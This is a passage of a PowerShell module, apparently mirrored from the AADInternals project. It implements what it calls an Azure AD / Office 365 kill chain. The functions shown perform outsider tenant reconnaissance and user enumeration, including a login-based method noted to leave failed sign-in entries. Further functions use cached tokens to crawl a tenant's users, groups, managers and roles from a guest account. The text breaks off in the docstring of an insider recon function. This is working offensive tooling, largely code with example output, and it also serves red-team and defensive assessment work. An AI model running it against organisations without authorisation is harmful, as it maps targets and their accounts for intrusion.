mirror of
https://github.com/Gerenios/AADInternals
synced 2026-06-08 11:09:38 +00:00
1472 lines
60 KiB
PowerShell
1472 lines
60 KiB
PowerShell
#
|
|
# This file contains functions for Azure AD / Office 365 kill chain
|
|
#
|
|
|
|
|
|
# Invokes information gathering as an outsider
|
|
# Jun 16th 2020
|
|
function Invoke-ReconAsOutsider
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
Starts tenant recon of the given domain.
|
|
|
|
.DESCRIPTION
|
|
Starts tenant recon of the given domain. Gets all verified domains of the tenant and extracts information such as their type.
|
|
Also checks whether Desktop SSO (aka Seamless SSO) is enabled for the tenant.
|
|
|
|
DNS: Does the DNS record exists?
|
|
MX: Does the MX point to Office 365?
|
|
SPF: Does the SPF contain Exchange Online?
|
|
Type: Federated or Managed
|
|
DMARC: Is the DMARC record configured?
|
|
DKIM: Is the DKIM record configured?
|
|
MTA-STS: Is the MTA-STS record configured?
|
|
STS: The FQDN of the federated IdP's (Identity Provider) STS (Security Token Service) server
|
|
RPS: Relaying parties of STS (AD FS)
|
|
|
|
.Parameter DomainName
|
|
Any domain name of the Azure AD tenant.
|
|
|
|
.Parameter Single
|
|
If the switch is used, doesn't get other domains of the tenant.
|
|
|
|
.Parameter GetRelayingParties
|
|
Tries to get relaying parties from STS. Returned if STS is AD FS and idpinitiatedsignon.aspx is enabled.
|
|
|
|
.Example
|
|
Invoke-AADIntReconAsOutsider -Domain company.com | Format-Table
|
|
|
|
Tenant brand: Company Ltd
|
|
Tenant name: company.onmicrosoft.com
|
|
Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
|
|
Tenant region: NA
|
|
DesktopSSO enabled: False
|
|
MDI instance: company.atp.azure.com
|
|
|
|
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
|
|
---- --- -- --- ----- ---- ------- ---- ---
|
|
company.com True True True True True True Federated sts.company.com
|
|
company.mail.onmicrosoft.com True True True True True False Managed
|
|
company.onmicrosoft.com True True True False True False Managed
|
|
int.company.com False False False False True False Managed
|
|
|
|
.Example
|
|
Invoke-AADIntReconAsOutsider -Domain company.com -GetRelayingParties | Format-Table
|
|
|
|
Tenant brand: Company Ltd
|
|
Tenant name: company.onmicrosoft.com
|
|
Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
|
|
Tenant region: NA
|
|
Uses cloud sync: True
|
|
DesktopSSO enabled: False
|
|
MDI instance: company.atp.azure.com
|
|
|
|
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
|
|
---- --- -- --- ----- ---- ------- ---- ---
|
|
company.com True True True True True True Federated sts.company.com
|
|
company.mail.onmicrosoft.com True True True True True False Managed
|
|
company.onmicrosoft.com True True True False True False Managed
|
|
int.company.com False False False False True False Managed
|
|
|
|
.Example
|
|
Invoke-AADIntReconAsOutsider -UserName user@company.com | Format-Table
|
|
|
|
Tenant brand: Company Ltd
|
|
Tenant name: company.onmicrosoft.com
|
|
Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
|
|
Tenant region: NA
|
|
DesktopSSO enabled: False
|
|
MDI instance: company.atp.azure.com
|
|
Uses cloud sync: True
|
|
CBA enabled: True
|
|
|
|
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
|
|
---- --- -- --- ----- ---- ------- ---- ---
|
|
company.com True True True True True True Federated sts.company.com
|
|
company.mail.onmicrosoft.com True True True True True False Managed
|
|
company.onmicrosoft.com True True True False True False Managed
|
|
int.company.com False False False False True False Managed
|
|
#>
|
|
[cmdletbinding()]
|
|
Param(
|
|
[Parameter(ParameterSetName="domain",Mandatory=$True)]
|
|
[String]$DomainName,
|
|
[Parameter(ParameterSetName="user",Mandatory=$True)]
|
|
[String]$UserName,
|
|
[Switch]$Single,
|
|
[Switch]$GetRelayingParties
|
|
)
|
|
Process
|
|
{
|
|
if([string]::IsNullOrEmpty($DomainName))
|
|
{
|
|
$DomainName = $UserName.Split("@")[1]
|
|
|
|
Write-Verbose "Checking CBA status."
|
|
$tenantCBA = HasCBA -UserName $UserName
|
|
}
|
|
Write-Verbose "Checking if the domain $DomainName is registered to Azure AD"
|
|
$tenantId = Get-TenantID -Domain $DomainName
|
|
if([string]::IsNullOrEmpty($tenantId))
|
|
{
|
|
throw "Domain $DomainName is not registered to Azure AD"
|
|
}
|
|
|
|
$openIDConfiguration = Get-OpenIDConfiguration -Domain $DomainName
|
|
|
|
$tenantName = ""
|
|
$tenantBrand = ""
|
|
$tenantRegion = $openIDConfiguration.tenant_region_scope
|
|
$tenantSubscope = Get-TenantSubscope -OpenIDConfiguration $openIDConfiguration
|
|
$tenantSSO = ""
|
|
|
|
Write-Verbose "`n*`n* EXAMINING TENANT $tenantId`n*"
|
|
|
|
|
|
Write-Verbose "Getting domains.."
|
|
$domains = Get-TenantDomains -Domain $DomainName -SubScope $tenantSubscope
|
|
Write-Verbose "Found $($domains.count) domains!"
|
|
|
|
|
|
# Create an empty list
|
|
$domainInformation = @()
|
|
|
|
# Counter
|
|
$c=1
|
|
|
|
# Loop through the domains
|
|
foreach($domain in $domains)
|
|
{
|
|
# Define variables
|
|
$exists = $false
|
|
$hasCloudMX = $false
|
|
$hasCloudSPF = $false
|
|
$hasCloudDKIM = $false
|
|
$hasCloudMTASTS = $false
|
|
|
|
if(-not $Single)
|
|
{
|
|
Write-Progress -Activity "Getting DNS information" -Status $domain -PercentComplete (($c/$domains.count)*100)
|
|
}
|
|
$c++
|
|
|
|
# Check if this is "the initial" domain
|
|
if([string]::IsNullOrEmpty($tenantName) -and $domain.ToLower() -match '^[^.]*\.onmicrosoft.((com)|(us))$')
|
|
{
|
|
$tenantName = $domain
|
|
Write-Verbose "TENANT NAME: $tenantName"
|
|
}
|
|
|
|
# Check if the tenant has the Desktop SSO (aka Seamless SSO) enabled
|
|
if([string]::IsNullOrEmpty($tenantSSO))
|
|
{
|
|
$tenantSSO = HasDesktopSSO -Domain $domain -SubScope $tenantSubscope
|
|
}
|
|
|
|
if(-not $Single -or ($Single -and $DomainName -eq $domain))
|
|
{
|
|
# Check whether the domain exists in DNS
|
|
try { $exists = (Resolve-DnsName -Name $Domain -ErrorAction SilentlyContinue -DnsOnly -NoHostsFile -NoIdn).count -gt 0 } catch{}
|
|
|
|
if($exists)
|
|
{
|
|
# Check the MX record
|
|
$hasCloudMX = HasCloudMX -Domain $domain -SubScope $tenantSubscope
|
|
|
|
# Check the SPF record
|
|
$hasCloudSPF = HasCloudSPF -Domain $domain -SubScope $tenantSubscope
|
|
|
|
# Check the DMARC record
|
|
$hasDMARC = HasDMARC -Domain $domain
|
|
|
|
# Check the DKIM record
|
|
$hasCloudDKIM = HasCloudDKIM -Domain $domain -SubScope $tenantSubscope
|
|
|
|
# Check the MTA-STS record
|
|
$hasCloudMTASTS = HasCloudMTASTS -Domain $domain -SubScope $tenantSubscope
|
|
}
|
|
|
|
# Get the federation information
|
|
$realmInfo = Get-UserRealmV2 -UserName "nn@$domain" -SubScope $tenantSubscope
|
|
if([string]::IsNullOrEmpty($tenantBrand))
|
|
{
|
|
$tenantBrand = $realmInfo.FederationBrandName
|
|
Write-Verbose "TENANT BRAND: $tenantBrand"
|
|
}
|
|
if($authUrl = $realmInfo.AuthUrl)
|
|
{
|
|
# Try to read relaying parties
|
|
if($GetRelayingParties)
|
|
{
|
|
try
|
|
{
|
|
|
|
$idpUrl = $realmInfo.AuthUrl.Substring(0,$realmInfo.AuthUrl.LastIndexOf("/")+1)
|
|
$idpUrl += "idpinitiatedsignon.aspx"
|
|
Write-Verbose "Getting relaying parties for $domain from $idpUrl"
|
|
[xml]$page = Invoke-RestMethod -Uri $idpUrl -TimeoutSec 3
|
|
|
|
$selectElement = $page.html.body.div.div[2].div.div.div.form.div[1].div[1].select.option
|
|
$relayingParties = New-Object string[] $selectElement.Count
|
|
Write-Verbose "Got $relayingParties relaying parties from $idpUrl"
|
|
for($o = 0; $o -lt $selectElement.Count; $o++)
|
|
{
|
|
$relayingParties[$o] = $selectElement[$o].'#text'
|
|
}
|
|
|
|
}
|
|
catch{} # Okay
|
|
}
|
|
# Get just the server name
|
|
$authUrl = $authUrl.split("/")[2]
|
|
}
|
|
|
|
# Set the return object properties
|
|
$attributes=[ordered]@{
|
|
"Name" = $domain
|
|
"DNS" = $exists
|
|
"MX" = $hasCloudMX
|
|
"SPF" = $hasCloudSPF
|
|
"DMARC" = $hasDMARC
|
|
"DKIM" = $hasCloudDKIM
|
|
"MTA-STS" = $hasCloudMTASTS
|
|
"Type" = $realmInfo.NameSpaceType
|
|
"STS" = $authUrl
|
|
}
|
|
if($GetRelayingParties)
|
|
{
|
|
$attributes["RPS"] = $relayingParties
|
|
}
|
|
Remove-Variable "relayingParties" -ErrorAction SilentlyContinue
|
|
$domainInformation += New-Object psobject -Property $attributes
|
|
}
|
|
}
|
|
|
|
Write-Host "Tenant brand: $tenantBrand"
|
|
Write-Host "Tenant name: $tenantName"
|
|
Write-Host "Tenant id: $tenantId"
|
|
Write-Host "Tenant region: $tenantRegion"
|
|
if(![string]::IsNullOrEmpty($tenantSubscope))
|
|
{
|
|
Write-Host "Tenant sub region: $tenantSubscope"
|
|
}
|
|
|
|
# DesktopSSO status not definitive with a single domain
|
|
if(!$Single -or $tenantSSO -eq $true)
|
|
{
|
|
Write-Host "DesktopSSO enabled: $tenantSSO"
|
|
}
|
|
|
|
# MDI instance not definitive, may have different instance name than the tenant name.
|
|
if(![string]::IsNullOrEmpty($tenantName))
|
|
{
|
|
$tenantMDI = GetMDIInstance -Tenant $tenantName
|
|
if($tenantMDI)
|
|
{
|
|
Write-Host "MDI instance: $tenantMDI"
|
|
}
|
|
}
|
|
|
|
# Cloud sync not definitive, may use different domain name
|
|
if(DoesUserExists -User "ADToAADSyncServiceAccount@$($tenantName)")
|
|
{
|
|
Write-Host "Uses cloud sync: $true"
|
|
}
|
|
|
|
# CBA status definitive if username was provided
|
|
if($tenantCBA)
|
|
{
|
|
Write-Host "CBA enabled: $tenantCBA"
|
|
}
|
|
|
|
return $domainInformation
|
|
}
|
|
|
|
}
|
|
|
|
|
|
# Tests whether the user exists in Azure AD or not
|
|
# Jun 16th 2020
|
|
function Invoke-UserEnumerationAsOutsider
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
Checks whether the given user exists in Azure AD or not. Returns $True or $False or empty.
|
|
|
|
.DESCRIPTION
|
|
Checks whether the given user exists in Azure AD or not. Works also with external users! Supports following enumeration methods: Normal, Login, Autologon, and RST2.
|
|
|
|
The Normal method seems currently work with all tenants. Previously it required Desktop SSO (aka Seamless SSO) to be enabled for at least one domain.
|
|
|
|
The Login method works with any tenant, but enumeration queries will be logged to Azure AD sign-in log as failed login events!
|
|
|
|
The Autologon method doesn't seem to work with all tenants anymore. Probably requires that DesktopSSO or directory sync is enabled.
|
|
|
|
Returns $True or $False if existence can be verified and empty if not.
|
|
|
|
.Parameter UserName
|
|
List of User names or email addresses of the users.
|
|
|
|
.Parameter External
|
|
Whether the given user name is for external user. Requires also -Domain parater!
|
|
|
|
.Parameter Domain
|
|
The initial domain of the given tenant.
|
|
|
|
.Parameter Method
|
|
The used enumeration method. One of "Normal","Login","Autologon","RST2"
|
|
|
|
.Example
|
|
Invoke-AADIntUserEnumerationAsOutsider -UserName user@company.com
|
|
|
|
UserName Exists
|
|
-------- ------
|
|
user@company.com True
|
|
|
|
.Example
|
|
Invoke-AADIntUserEnumerationAsOutsider -UserName external.user@gmail.com -External -Domain company.onmicrosoft.com
|
|
|
|
UserName Exists
|
|
-------- ------
|
|
external.user_gmail.com#EXT#@company.onmicrosoft.com True
|
|
|
|
.Example
|
|
Invoke-AADIntUserEnumerationAsOutsider -UserName user@company.com,user2@company.com -Method Autologon
|
|
|
|
UserName Exists
|
|
-------- ------
|
|
user@company.com True
|
|
user2@company.com False
|
|
|
|
.Example
|
|
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
|
|
|
|
UserName Exists
|
|
-------- ------
|
|
user@company.com True
|
|
user2@company.com False
|
|
user@company.net
|
|
external.user_gmail.com#EXT#@company.onmicrosoft.com True
|
|
external.user_outlook.com#EXT#@company.onmicrosoft.com False
|
|
|
|
.Example
|
|
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Login
|
|
|
|
UserName Exists
|
|
-------- ------
|
|
user@company.com True
|
|
user2@company.com False
|
|
user@company.net True
|
|
external.user_gmail.com#EXT#@company.onmicrosoft.com True
|
|
external.user_outlook.com#EXT#@company.onmicrosoft.com False
|
|
#>
|
|
[cmdletbinding()]
|
|
Param(
|
|
[Parameter(ParameterSetName="Normal", Mandatory=$True,ValueFromPipeline)]
|
|
[Parameter(ParameterSetName="External",Mandatory=$True,ValueFromPipeline)]
|
|
[String[]]$UserName,
|
|
[Parameter(ParameterSetName="External", Mandatory=$True)]
|
|
[Switch]$External,
|
|
[Parameter(ParameterSetName="External",Mandatory=$True)]
|
|
[String]$Domain,
|
|
[Parameter(Mandatory=$False)]
|
|
[ValidateSet("Normal","Login","Autologon","RST2")]
|
|
[String]$Method="Normal"
|
|
)
|
|
Process
|
|
{
|
|
foreach($User in $UserName)
|
|
{
|
|
$tenantSubscope = Get-TenantSubscope -Domain $UserName.Split("@")[1]
|
|
|
|
# If the user is external, change to correct format
|
|
if($Method -eq "Normal" -and $External)
|
|
{
|
|
$User="$($User.Replace("@","_"))#EXT#@$domain"
|
|
}
|
|
|
|
new-object psobject -Property ([ordered]@{"UserName"=$User;"Exists" = $(DoesUserExists -User $User -Method $Method -SubScope $tenantSubscope)})
|
|
}
|
|
}
|
|
}
|
|
|
|
# Invokes information gathering as a guest user
|
|
# Jun 16th 2020
|
|
function Invoke-ReconAsGuest
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
Starts tenant recon of Azure AD tenant. Prompts for tenant.
|
|
|
|
.DESCRIPTION
|
|
Starts tenant recon of Azure AD tenant. Prompts for tenant.
|
|
Retrieves information from Azure AD tenant, such as, the number of Azure AD objects and quota, and the number of domains (both verified and unverified).
|
|
|
|
.Example
|
|
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
|
|
|
|
PS C:\>$results = Invoke-AADIntReconAsGuest
|
|
|
|
PS C:\>$results.allowedActions
|
|
|
|
application : {read}
|
|
domain : {read}
|
|
group : {read}
|
|
serviceprincipal : {read}
|
|
tenantdetail : {read}
|
|
user : {read, update}
|
|
serviceaction : {consent}
|
|
|
|
.Example
|
|
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
|
|
|
|
PS C:\>Get-AADIntAzureTenants
|
|
|
|
Id Country Name Domains
|
|
-- ------- ---- -------
|
|
221769d7-0747-467c-a5c1-e387a232c58c FI Firma Oy {firma.mail.onmicrosoft.com, firma.onmicrosoft.com, firma.fi}
|
|
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd US Company Ltd {company.onmicrosoft.com, company.mail.onmicrosoft.com,company.com}
|
|
|
|
PS C:\>Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache -Tenant 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
|
|
|
|
$results = Invoke-AADIntReconAsGuest
|
|
|
|
Tenant brand: Company Ltd
|
|
Tenant name: company.onmicrosoft.com
|
|
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
|
|
Azure AD objects: 520/500000
|
|
Domains: 6 (4 verified)
|
|
Non-admin users restricted? True
|
|
Users can register apps? True
|
|
Directory access restricted? False
|
|
Guest access: Normal
|
|
CA policies: 7
|
|
|
|
PS C:\>$results.allowedActions
|
|
|
|
application : {read}
|
|
domain : {read}
|
|
group : {read}
|
|
serviceprincipal : {read}
|
|
tenantdetail : {read}
|
|
user : {read, update}
|
|
serviceaction : {consent}
|
|
|
|
#>
|
|
[cmdletbinding()]
|
|
Param()
|
|
Begin
|
|
{
|
|
# Choises
|
|
$choises="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!""#%&/()=?*+-_"
|
|
}
|
|
Process
|
|
{
|
|
# Get access token from cache
|
|
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
|
|
# Get the list of tenants the user has access to
|
|
$tenants = Get-AzureTenants -AccessToken $AccessToken
|
|
$tenantNames = $tenants | Select-Object -ExpandProperty Name
|
|
|
|
# Prompt for tenant choice if more than one
|
|
if($tenantNames.count -gt 1)
|
|
{
|
|
$options = [System.Management.Automation.Host.ChoiceDescription[]]@()
|
|
for($p=0; $p -lt $tenantNames.count; $p++)
|
|
{
|
|
$options += New-Object System.Management.Automation.Host.ChoiceDescription "&$($choises[$p % $choises.Length]) $($tenantNames[$p])"
|
|
}
|
|
$opt = $host.UI.PromptForChoice("Choose the tenant","Choose the tenant to recon",$options,0)
|
|
}
|
|
else
|
|
{
|
|
$opt=0
|
|
}
|
|
$tenantInfo = $tenants[$opt]
|
|
$tenant = $tenantInfo.Id
|
|
|
|
# Get the tenant information
|
|
$tenantInformation = Get-AzureInformation -Tenant $tenant
|
|
|
|
# Guest access
|
|
if(!$tenantInformation.authorizationPolicy)
|
|
{
|
|
$tenantInformation.guestAccess = "unknown"
|
|
}
|
|
|
|
# Print out some relevant information
|
|
Write-Host "Tenant brand: $($tenantInformation.displayName)"
|
|
Write-Host "Tenant name: $($tenantInformation.domains | Where-Object isInitial -eq "True" | Select-Object -ExpandProperty id)"
|
|
Write-Host "Tenant id: $($tenantInformation.objectId)"
|
|
Write-Host "Azure AD objects: $($tenantInformation.directorySizeQuota.used)/$($tenantInformation.directorySizeQuota.total)"
|
|
Write-Host "Domains: $($tenantInformation.domains.Count) ($(($tenantInformation.domains | Where-Object isVerified -eq "True").Count) verified)"
|
|
Write-Host "Non-admin users restricted? $($tenantInformation.restrictNonAdminUsers)"
|
|
Write-Host "Users can register apps? $($tenantInformation.usersCanRegisterApps)"
|
|
Write-Host "Directory access restricted? $($tenantInformation.restrictDirectoryAccess)"
|
|
Write-Host "Guest access: $($tenantInformation.guestAccess)"
|
|
Write-Host "CA policies: $($tenantInformation.conditionalAccessPolicy.Count)"
|
|
Write-Host "Access package admins: $($tenantInformation.accessPackageAdmins.Count)"
|
|
|
|
# Return
|
|
return $tenantInformation
|
|
|
|
}
|
|
}
|
|
|
|
# Starts crawling the organisation for user names and groups
|
|
# Jun 16th 2020
|
|
function Invoke-UserEnumerationAsGuest
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
Crawls the target organisation for user names and groups.
|
|
|
|
.DESCRIPTION
|
|
Crawls the target organisation for user names, groups, and roles. The starting point is the signed-in user, a given username, or a group id.
|
|
The crawl can be controlled with switches. Group members are limited to 1000 entries per group.
|
|
|
|
Groups: Include user's groups
|
|
GroupMembers: Include members of user's groups
|
|
Roles: Include roles of user and group members. Can be very time consuming!
|
|
Manager: Include user's manager
|
|
Subordinates: Include user's subordinates (direct reports)
|
|
|
|
UserName: User principal name (UPN) of the user to search.
|
|
GroupId: Id of the group. If this is given, only the members of the group are included.
|
|
|
|
.Example
|
|
$results = Invoke-AADIntUserEnumerationAsGuest -UserName user@company.com
|
|
|
|
Tenant brand: Company Ltd
|
|
Tenant name: company.onmicrosoft.com
|
|
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
|
|
Logged in as: live.com#user@outlook.com
|
|
Users: 5
|
|
Groups: 2
|
|
Roles: 0
|
|
|
|
#>
|
|
[cmdletbinding()]
|
|
Param(
|
|
[Parameter(Mandatory=$False)]
|
|
[String]$UserName,
|
|
[Switch]$Groups,
|
|
[Switch]$GroupMembers,
|
|
[Switch]$Subordinates,
|
|
[Switch]$Manager,
|
|
[Switch]$Roles,
|
|
[Parameter(Mandatory=$False)]
|
|
[String]$GroupId
|
|
)
|
|
Begin
|
|
{
|
|
# Choises
|
|
$choises="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!""#%&/()=?*+-_"
|
|
}
|
|
Process
|
|
{
|
|
# Get access token from cache
|
|
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
|
|
# Get the list of tenants the user has access to
|
|
Write-Verbose "Getting list of user's tenants.."
|
|
$tenants = Get-AzureTenants -AccessToken $AccessToken
|
|
$tenantNames = $tenants | Select-Object -ExpandProperty Name
|
|
|
|
# Prompt for tenant choice if more than one
|
|
if($tenantNames.count -gt 1)
|
|
{
|
|
$options = [System.Management.Automation.Host.ChoiceDescription[]]@()
|
|
for($p=0; $p -lt $tenantNames.count; $p++)
|
|
{
|
|
$options += New-Object System.Management.Automation.Host.ChoiceDescription "&$($choises[$p % $choises.Length]) $($tenantNames[$p])"
|
|
}
|
|
$opt = $host.UI.PromptForChoice("Choose the tenant","Choose the tenant to recon",$options,0)
|
|
}
|
|
else
|
|
{
|
|
$opt=0
|
|
}
|
|
$tenantInfo = $tenants[$opt]
|
|
$tenant = $tenantInfo.Id
|
|
|
|
# Create a new AccessToken for graph.microsoft.com
|
|
$refresh_token = Get-RefreshTokenFromCache -ClientID "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://management.core.windows.net"
|
|
if([string]::IsNullOrEmpty($refresh_token))
|
|
{
|
|
throw "No refresh token found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch"
|
|
}
|
|
try
|
|
{
|
|
$AccessToken = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant -RefreshToken $refresh_token -SaveToCache $true
|
|
}
|
|
catch
|
|
{
|
|
Throw "Unable to get access token for Microsoft Graph API"
|
|
}
|
|
|
|
# Get the initial domain
|
|
$domains = Get-MSGraphDomains -AccessToken $AccessToken
|
|
$tenantDomain = $domains | Where-Object isInitial -eq "True" | Select-Object -ExpandProperty id
|
|
if([string]::IsNullOrEmpty($tenantDomain))
|
|
{
|
|
Throw "No initial domain found for the tenant $tenant!"
|
|
}
|
|
Write-Verbose "Tenant $Tenant / $tenantDomain selected."
|
|
|
|
|
|
|
|
# If GroupID is given, dump only the members of that group
|
|
if($GroupId)
|
|
{
|
|
# Create users object
|
|
$ht_users=@{}
|
|
|
|
# Get group members
|
|
$members = Get-MSGraphGroupMembers -AccessToken $AccessToken -GroupId $GroupId
|
|
|
|
# Create a variable for members
|
|
$itemMembers = @()
|
|
|
|
# Loop trough the members
|
|
foreach($member in $members)
|
|
{
|
|
$ht_users[$member.Id] = $member
|
|
$itemMembers += $member.userPrincipalName
|
|
}
|
|
}
|
|
else
|
|
{
|
|
|
|
# If user name not given, try to get one from the access token
|
|
if([string]::IsNullOrEmpty($UserName))
|
|
{
|
|
$UserName = (Read-Accesstoken -AccessToken $AccessToken).upn
|
|
|
|
# If upn not found, this is probably live.com user, so use email instead of upn
|
|
if([string]::IsNullOrEmpty($UserName))
|
|
{
|
|
$UserName = (Read-Accesstoken -AccessToken $AccessToken).email
|
|
}
|
|
|
|
if(-not ($UserName -like "*#EXT#*"))
|
|
{
|
|
# As this must be an extrernal user, convert to external format
|
|
$UserName = "$($UserName.Replace("@","_"))#EXT#@$tenantDomain"
|
|
}
|
|
}
|
|
|
|
Write-Verbose "Getting user information for user $UserName"
|
|
|
|
# Get the user information
|
|
$user = Get-MSGraphUser -UserPrincipalName $UserName -AccessToken $AccessToken
|
|
|
|
if([string]::IsNullOrEmpty($user))
|
|
{
|
|
throw "User $UserName not found!"
|
|
}
|
|
|
|
# Create the users object
|
|
$ht_users=@{
|
|
$user.id = $user
|
|
}
|
|
|
|
# Create the groups object
|
|
$ht_groups=@{}
|
|
|
|
# Create the roles object
|
|
$ht_roles=@{}
|
|
|
|
Write-Verbose "User found: $($user.id) ($($user.userPrincipalName))"
|
|
|
|
# Loop through the user's subordinates
|
|
if($Subordinates)
|
|
{
|
|
# Copy the keys as the hashtable may change
|
|
$so_keys = New-Object string[] $ht_users.Count
|
|
$ht_users.Keys.CopyTo($so_keys,0)
|
|
|
|
# Loop through the users
|
|
foreach($userId in $so_keys)
|
|
{
|
|
$user = $ht_users[$userId].userPrincipalName
|
|
Write-Verbose "Getting subordinates of $user"
|
|
|
|
# Get user's subordinates
|
|
$userSubordinates = Get-MSGraphUserDirectReports -AccessToken $AccessToken -UserPrincipalName $user
|
|
|
|
# Loop trough the users
|
|
foreach($subordinate in $userSubordinates)
|
|
{
|
|
$ht_users[$subordinate.Id] = $subordinate
|
|
}
|
|
}
|
|
}
|
|
|
|
# Get user's manager
|
|
if($Manager)
|
|
{
|
|
try{$userManager= Get-MSGraphUserManager -AccessToken $AccessToken -UserPrincipalName $UserName}catch{}
|
|
if($userManager)
|
|
{
|
|
$ht_users[$userManager.id] = $userManager
|
|
}
|
|
}
|
|
|
|
# Loop through the users' groups
|
|
if($Groups -or $GroupMembers)
|
|
{
|
|
foreach($userId in $ht_users.Keys)
|
|
{
|
|
$groupUser = $ht_users[$userId].userPrincipalName
|
|
Write-Verbose "Getting groups of $groupUser"
|
|
|
|
# Get user's groups
|
|
$userGroups = Get-MSGraphUserMemberOf -AccessToken $AccessToken -UserPrincipalName $groupUser
|
|
|
|
# Loop trough the groups
|
|
foreach($group in $userGroups)
|
|
{
|
|
# This is a normal group
|
|
if($group.'@odata.type' -eq "#microsoft.graph.group")
|
|
{
|
|
$ht_groups[$group.id] = $group
|
|
#$itemGroups += $group.id
|
|
}
|
|
}
|
|
|
|
}
|
|
}
|
|
|
|
# Loop through the group members
|
|
if($GroupMembers)
|
|
{
|
|
foreach($groupId in $ht_groups.Keys)
|
|
{
|
|
Write-Verbose "Getting groups of $groupUser"
|
|
|
|
# Get group members
|
|
$members = Get-MSGraphGroupMembers -AccessToken $AccessToken -GroupId $groupId
|
|
|
|
# Create a variable for members
|
|
$itemMembers = @()
|
|
|
|
# Loop trough the members
|
|
foreach($member in $members)
|
|
{
|
|
$ht_users[$member.Id] = $member
|
|
$itemMembers += $member.userPrincipalName
|
|
}
|
|
|
|
# Add members to the group
|
|
$ht_groups[$groupId] | Add-Member -NotePropertyName "members" -NotePropertyValue $itemMembers
|
|
|
|
# Get group owners
|
|
$owners = Get-MSGraphGroupOwners -AccessToken $AccessToken -GroupId $groupId
|
|
|
|
# Create a variable for members
|
|
$itemOwners = @()
|
|
|
|
# Loop trough the members
|
|
foreach($owner in $owners)
|
|
{
|
|
$ht_users[$owner.Id] = $owner
|
|
$itemOwners += $owner.userPrincipalName
|
|
}
|
|
|
|
# Add members to the group
|
|
$ht_groups[$groupId] | Add-Member -NotePropertyName "owners" -NotePropertyValue $itemOwners
|
|
}
|
|
}
|
|
|
|
# Loop through the users' roles
|
|
if($Roles)
|
|
{
|
|
foreach($userId in $ht_users.Keys)
|
|
{
|
|
$roleUser = $ht_users[$userId].userPrincipalName
|
|
Write-Verbose "Getting roles of $roleUser"
|
|
|
|
# Get user's roles
|
|
$userRoles = Get-MSGraphUserMemberOf -AccessToken $AccessToken -UserPrincipalName $roleUser
|
|
|
|
# Loop trough the groups
|
|
foreach($userRole in $userRoles)
|
|
{
|
|
if($userRole.'@odata.type' -eq "#microsoft.graph.directoryRole")
|
|
{
|
|
# Try to get the existing role first
|
|
$role = $ht_roles[$userRole.id]
|
|
if($role)
|
|
{
|
|
# Add a new member to the role
|
|
$role.members+=$ht_users[$userId].userPrincipalName
|
|
}
|
|
else
|
|
{
|
|
# Create a members attribute
|
|
$userRole | Add-Member -NotePropertyName "members" -NotePropertyValue @($ht_users[$userId].userPrincipalName)
|
|
$role = $userRole
|
|
}
|
|
|
|
$ht_roles[$role.id] = $role
|
|
}
|
|
}
|
|
|
|
}
|
|
}
|
|
|
|
# Loop through the role members
|
|
if($Roles)
|
|
{
|
|
foreach($roleId in $ht_roles.Keys)
|
|
{
|
|
$members = $null
|
|
Write-Verbose "Getting role members for '$($ht_roles[$roleId].displayName)'"
|
|
|
|
# Try to get role members, usually fails
|
|
try{$members = Get-MSGraphRoleMembers -AccessToken $AccessToken -RoleId $roleId}catch{ }
|
|
|
|
if($members)
|
|
{
|
|
# Create a variable for members
|
|
$itemMembers = @()
|
|
|
|
# Loop trough the members
|
|
foreach($member in $members)
|
|
{
|
|
$ht_users[$member.Id] = $member
|
|
$itemMembers += $member.userPrincipalName
|
|
}
|
|
|
|
# Add members to the role
|
|
$ht_roles[$roleId] | Add-Member -NotePropertyName "members" -NotePropertyValue $itemMembers -Force
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
# Print out some relevant information
|
|
Write-Host "Tenant brand: $($tenantInfo.Name)"
|
|
Write-Host "Tenant name: $tenantDomain"
|
|
Write-Host "Tenant id: $($tenantInfo.id)"
|
|
Write-Host "Logged in as: $((Read-Accesstoken -AccessToken $AccessToken).unique_name)"
|
|
Write-Host "Users: $($ht_users.count)"
|
|
Write-Host "Groups: $($ht_groups.count)"
|
|
Write-Host "Roles: $($ht_roles.count)"
|
|
|
|
# Create the return value
|
|
$attributes=@{
|
|
"Users" = $ht_users.values
|
|
"Groups" = $ht_groups.Values
|
|
"Roles" = $ht_roles.Values
|
|
}
|
|
return New-Object psobject -Property $attributes
|
|
}
|
|
}
|
|
|
|
|
|
# Invokes information gathering as an internal user
|
|
# Aug 4th 2020
|
|
function Invoke-ReconAsInsider
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
Starts tenant recon of Azure AD tenant.
|
|
|
|
.DESCRIPTION
|
|
Starts tenant recon of Azure AD tenant.
|
|
|
|
.Example
|
|
Get-AADIntAccessTokenForAzureCoreManagement
|
|
|
|
PS C:\>$results = Invoke-AADIntReconAsInsider
|
|
|
|
Tenant brand: Company Ltd
|
|
Tenant name: company.onmicrosoft.com
|
